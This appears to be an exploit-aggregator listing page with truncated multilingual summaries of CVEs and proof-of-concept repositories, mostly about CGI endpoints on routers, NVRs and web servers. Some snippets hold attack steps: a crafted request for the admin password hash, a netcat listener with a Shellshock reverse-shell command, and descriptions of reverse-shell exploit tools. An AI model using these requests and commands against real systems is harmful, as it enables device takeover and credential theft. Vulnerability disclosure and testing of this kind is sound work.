CVE-2023-47564

CVE-2023-47564 https://www.qnap.com/en/security-advisory/qsa-24-03 https://vulners.com/cve/CVE-2023-47564 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N 8.1 "È stata segnalata una vulnerabilità di assegnazione errata delle autorizzazioni per una risorsa critica che interessa Qsync Central. Se...

CVE-2025-67445

Panoramica Una vulnerabilità nell'interfaccia di gestione web del TOTOLINK X5000R V9.1.0cu.2415 consente a un attaccante remoto non autenticato sulla LAN di crashare il servizio web tramite un segmentation fault. Inviando una richiesta HTTP POST di dimensioni eccessive all'endpoint CGI, un...

CVE-2026-73673

CVE-2026-73673: Netis NC63 अनधिकृत फर्मवेयर अपडेट जिसमें क्रिप्टोग्राफिक फर्मवेयर प्रमाणीकरण का अभाव है मूल भेद्यता अनुसंधान Özcan Ersan @ozcanpng द्वारा। यह रिपॉजिटरी CVE-2026-73673 का दस्तावेजीकरण करती है, जिसे लेखक द्वारा खोजा और रिपोर्ट किया गया। CVE-2026-73673 के लिए गैर-विनाशकारी...

CVE-2019-0232

CVE-2019-0232 Descrição Esta é uma ferramenta que automatiza o fluxo de trabalho de exploração do CVE‑2019‑0232, oferecendo tanto o modo de execução de comandos quanto o modo de shell reverso. Ela suporta codificação automática de URLs para comandos, inicia um servidor HTTP temporário para hosped...

CVE-2017-14262

SamsungNVRvul CVE-2017-14262 xfuturesec Co., Ltd Primo, ottieni l'hash MD5 della password dell'account 'admin'. Invia: GET http://192.168.1.14/cgi-bin/main-cgi?json="cmd":201,"szUserNameQry":"admin","szUserName":"","u32UserLoginHandle":0 HTTP/1.1 Host: 192.168.1.14 User-Agent: Mozilla/5.0 Windows...

CVE-2014-6271

CVE-2014-6271 python2.7 Metti in ascolto la tua macchina. root@kitploit: nc -l -p 4444 Esegui lo script python secondo la regola seguente: python shellpoc.py root@kitploit: python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 Buon divertimento...

CVE-2025-64446-FortiWeb-CGI-Bypass-PoC

Strumento di Exploit per CVE-2025-64446 Strumento di exploit per la verifica e lo sfruttamento della vulnerabilità CVE-2025-64446 nei dispositivi FortiWeb. Descrizione Questo strumento rileva e sfrutta una vulnerabilità di path traversal CVE-2025-64446 nei firewall per applicazioni web FortiWeb...

CVE-2026-51617

TOTOLINK T6 firmware 4.1.5cu.748_B20211015 contains an incorrect access control flaw in the getSysStatusCfg function. An unauthenticated attacker can send a crafted POST request to /cgi-bin/cstecgi.cgi to retrieve sensitive data including operation mode, firmware version, serial number, WAN/LAN I...

CVE-2026-51628

CVE-2026-51628 affects the TOTOLINK T6 router running firmware 4.1.5cu.748_B20211015 . An incorrect access control flaw in the getGenerateWiFiWpsPin function allows unauthenticated attackers to generate and retrieve a new WPS PIN by sending a crafted POST request to /cgi-bin/cstecgi.cgi. A succes...

CVE-2026-51661

CVE-2026-51661 is an incorrect access control flaw in the getPortForwardRules function of the TOTOLINK T6 router, specifically version 4.1.5cu.748_B20211015 . An unauthenticated attacker can send a crafted POST request to /cgi-bin/cstecgi.cgi to obtain port-forwarding rules , exposing internal ne...

EUVD-2026-67885

Incorrect access control in the getDiagnosisCfg function of TOTOLINK T6 4.1.5cu.748B20211015 allows unauthenticated attackers to obtain diagnostic configuration and ping log contents via sending a crafted POST request to /cgi-bin/cstecgi.cgi...

poc-yaws-cgi-shell-injection

Yaws वेब सर्वर में OS कमांड इंजेक्शन CVE-2020-24916 प्रूफ ऑफ कॉन्सेप्ट परीक्षण इमेज बनाएं: docker build -t vulnbe/yaws-pocs:shell-injection-appmod-cgi -f Dockerfile . और/या कंटेनर चलाएं docker run --rm -d -i -p 127.0.0.1:8000:8080 vulnbe/yaws-pocs:shell-injection-appmod-cgi root@kitploit: curl...

CVE-2024-10914__POC

CVE-2024-10914 - Konzeptnachweis Exploit für eine Command Injection-Schwachstelle im Endpunkt /cgi-bin/accountmgr.cgi. Diese Schwachstelle ermöglicht die Ausführung beliebiger Befehle auf dem betroffenen System über nicht bereinigte Parameter. Beschreibung der Schwachstelle CVE-2024-10914 ist ein...

Blind-SSRF-to-Remote-Code-Execution-Shellshock-Professional-Bug-Bounty-Report

Ciego-SSRF-a-Ejecución-Remota-de-Código-Shellshock-Informe-Profesional-de-Bug-Bounty Este repositorio contiene un informe profesional de bug bounty que demuestra la explotación exitosa de una vulnerabilidad de SSRF Ciego que alcanzó un endpoint CGI interno vulnerable a Shellshock CVE-2014-6271. S...

shellshock-victim-host

shellshock-victim-host Ein Docker-Container, der anfällig für Shellshock ist - CVE-2014-6271 Ausführen root@kitploit: podman build -t shellshock-victim . podman run -it -p 80:8080 shellshock-victim Hinweis: Funktioniert auch mit Docker. Die verwundbare Anwendung wird bereitgestellt unter:...

CVE-2022-21587-Oracle-EBS-

Prerequisiti per eseguire questo exploit: python3 con i moduli inclusi requests, os, sys, slipit uuencode Prima di eseguirlo, assicurati di usarlo solo per scopi etici Se l'esecuzione dell'exploit fallisce: Assicurati di aver già installato i moduli prerequisiti installa requests pip3 install...

CVE-2026-19379

A vulnerability was determined in EFM ipTIME AX8004M 15.09.0. Impacted is the function popen of the file /cgi/d.cgi of the component CGI Endpoint. This manipulation of the argument fname causes os command injection. The attack can be initiated remotely. The exploit has been publicly disclosed and...

CVE-2026-19379

CVE-2026-19379 affects EFM ipTIME AX8004M (firmware 15.09.0) where the popen function in /cgi/d.cgi under CGI Endpoint can be abused to inject commands via fname. The issue enables remote code execution and is supported by public disclosure; exploitation maturity is PROOF-OF-CONCEPT per the CVSS ...

EUVD-2026-54974

A vulnerability was determined in EFM ipTIME AX8004M 15.09.0. Impacted is the function popen of the file /cgi/d.cgi of the component CGI Endpoint. This manipulation of the argument fname causes os command injection. The attack can be initiated remotely. The exploit has been publicly disclosed and...

PT-2026-69323

Name of the Vulnerable Software and Affected Versions EFM ipTIME AX8004M version 15.09.0 Description A remote OS command injection exists within the CGI Endpoint component. The issue occurs when the popen function in the '/cgi/d.cgi' endpoint improperly handles the fname argument, allowing an...